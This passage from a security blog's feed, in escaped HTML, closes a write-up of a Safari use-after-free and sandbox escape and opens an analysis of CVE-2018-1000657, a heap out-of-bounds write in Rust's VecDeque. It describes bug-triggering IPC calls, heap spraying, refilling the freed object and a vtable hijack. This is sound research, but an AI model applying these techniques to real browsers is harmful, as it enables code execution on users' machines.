&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4095&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you recompile the browser with ASAN, you can find some crash reports like &lt;a href="https://gist.github.com/HQ1995/7a84068d75e5b36ad4b5335666294f0f"&gt;this one&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;A flexible approach to spray the heap in the UI process&lt;/h3&gt;
&lt;p&gt;To exploit UAF bugs in CPP, we usually need to figure out where to put our fake vtable and how to get the address of the fake vtable.  &lt;/p&gt;
&lt;p&gt;Instead of sending some messages multiple times, we abuse the shared memory between the web process and UI process to achieve the goal.&lt;/p&gt;
&lt;p&gt;Here is a pseudo-code for this message&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;WebProcess&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;singleton&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;parentProcessConnection&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sendSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WebPasteboardProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SetPasteboardBufferForType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10000000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WebPasteboardProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SetPasteboardBufferForType&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Reply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newChangeCount&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Refilling the freed object stably&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;WebAuthenticatorCoordinatorProxy&lt;/code&gt; has a &lt;code&gt;hash&lt;/code&gt; parameter, whose type is &lt;code&gt;Vector&amp;lt;uint8_t&amp;gt;&lt;/code&gt;, we can abuse it to refill the memory hole.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;WebAuthenticatorCoordinatorProxy::makeCredential&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FrameIdentifier&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frameId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SecurityOriginData&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PublicKeyCredentialCreationOptions&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RequestCompletionHandler&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;handleRequest&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WTFMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WTFMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;makeWeakPtr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m_webPageProxy&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WebAuthenticationPanelResult&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Unavailable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;GlobalFrameIdentifier&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;m_webPageProxy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;webPageID&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;frameId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WTFMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WTFMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The reason why it is very flexible is that the uint8 vector can help us to refill the memory in byte granularity without any impurities.&lt;/p&gt;
&lt;p&gt;Here is a snippet pseudo-code of this message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sendWithAsyncReply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WebAuthenticatorCoordinatorProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MakeCredential&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;m_mainFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;frameID&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SecurityOriginData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hqzhao.me&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Hijicking the control flow through vtable&lt;/h3&gt;
&lt;p&gt;By utilizing the tricks described above, as Figure 7 illustrates, we can hijack the control flow through the virtual function table and do some ROP to spawn a calculator.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/OG2KV4E.png" width = "5000"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 7. From UAF to sandbox escape&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Reflections and conclusion&lt;/h2&gt;
&lt;p&gt;Although the road to break the macOS's Safari is tedious, I think the leading edge of Safari security research is on iOS. There are still several open challenges for security researches to overcome. e.g., how to get code execution after getting arbitrary address read/write on a PAC enabled iPhone. To the sandbox, AAPL has enhanced the sandbox profile; even some BSD syscalls can not be invoked in the container sandbox. Furthermore, if you want the original challenges in Real World CTF, please check &lt;a href="https://github.com/5lipper/ctf"&gt;slipper's repo&lt;/a&gt;.&lt;/p&gt;</content><category term="blog"></category><category term="Security"></category><category term="Safari"></category><category term="JavaScript"></category></entry><entry><title>Analysis of CVE-2018-1000657: OOB write in Rust's VecDeque::reserve()</title><link href="https://gts3.org/2019/cve-2018-1000657.html" rel="alternate"></link><published>2019-08-14T00:00:00+02:00</published><updated>2019-08-14T00:00:00+02:00</updated><author><name>Yechan Bae</name></author><id>tag:gts3.org,2019-08-14:/2019/cve-2018-1000657.html</id><summary type="html">&lt;p&gt;A bug in VecDeque::reserve() of Rust's standard library allowed out-of-bound write in heap region.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Rust is a system programming language that aims to provide both memory safety and low-level control. As a system programming language, Rust allows potentially dangerous operations such as raw pointer manipulation or foreign function accesses, but only when explicitly stated in unsafe blocks. Accordingly, any bugs associated with the logics inside unsafe blocks can break Rust's safety guarantee, allowing attackers to compromise the Rust program.&lt;/p&gt;
&lt;p&gt;In this blog posting,
we'd like to demonstrate a PoC exploitation of one of such bugs
in the Rust's standard library.
More specifically,
we exploit an out-of-bound write bug
(&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=%20CVE-2018-1000657"&gt;CVE-2018-1000657&lt;/a&gt;)
in &lt;code&gt;VecDeque::reserve()&lt;/code&gt;,
in which the developer
incorrectly checks its length with the internal buffer capacity (larger)
instead of the user-facing capacity (smaller),
breaking an invariant expected by the internal unsafe block
(allowing to access beyond the allowed slot).
When the bug is triggered,
the unsafe block performs an out-of-bound write
in the heap region.&lt;/p&gt;
&lt;h2&gt;The Bug&lt;/h2&gt;
&lt;p&gt;Rust's &lt;a href="https://doc.rust-lang.org/std/collections/struct.VecDeque.html"&gt;VecDeque&lt;/a&gt; is a growable double-ended queue implemented as a &lt;a href="https://en.wikipedia.org/wiki/Circular_buffer"&gt;ring buffer&lt;/a&gt;. Rust's VecDeque implementation reserves one empty slot to distinguish its full and empty status. Thus, if a VecDeque has an internal buffer of size N, users will be able to use N-1 slots of it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Example of VecDeque status" src="/blog/cve-2018-1000657.assets/ring-buffer.png"&gt;&lt;/p&gt;
&lt;p&gt;The main cause of CVE-2018-1000657 is the confusion between VecDeque's internal buffer capacity with its user-facing capacity in &lt;code&gt;VecDeque::reserve()&lt;/code&gt; function. &lt;code&gt;VecDeque::reserve()&lt;/code&gt; function increases the capacity of VecDeque (if needed) so that it can hold at least &lt;code&gt;additional&lt;/code&gt; more elements.&lt;/p&gt;
&lt;p&gt;This is the code of &lt;code&gt;VecDeque::reserve()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;reserve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;additional&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used_cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;checked_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;additional&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;and_then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;needed_cap&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;needed_cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;checked_next_power_of_two&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;capacity overflow&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reserve_exact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;used_cap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used_cap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle_cap_increase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, the check &lt;code&gt;new_cap &amp;gt; self.capacity()&lt;/code&gt; is wrong. The code compares the required internal buffer size (&lt;code&gt;new_cap&lt;/code&gt;) with its user-facing size (&lt;code&gt;self.capacity()&lt;/code&gt;), so it might execute codes inside the if block even if the internal buffer size stays the same. The problem is that the unsafe function &lt;code&gt;VecDeque::handle_cap_increase()&lt;/code&gt; assumes &lt;code&gt;new_cap&lt;/code&gt; to be greater than &lt;code&gt;old_cap&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now let's look at the code of &lt;code&gt;VecDeque::handle_cap_increase()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;handle_cap_increase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Move the shortest contiguous section of the ring buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//    T             H&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//   [o o o o o o o . ]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//    T             H&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// A [o o o o o o o . . . . . . . . . ]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//        H T&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//   [o o . o o o o o ]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//          T             H&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// B [. . . o o o o o o o . . . . . . ]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//              H T&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//   [o o o o o . o o ]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//              H                 T&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// C [o o o o o . . . . . . . . . o o ]&lt;/span&gt;

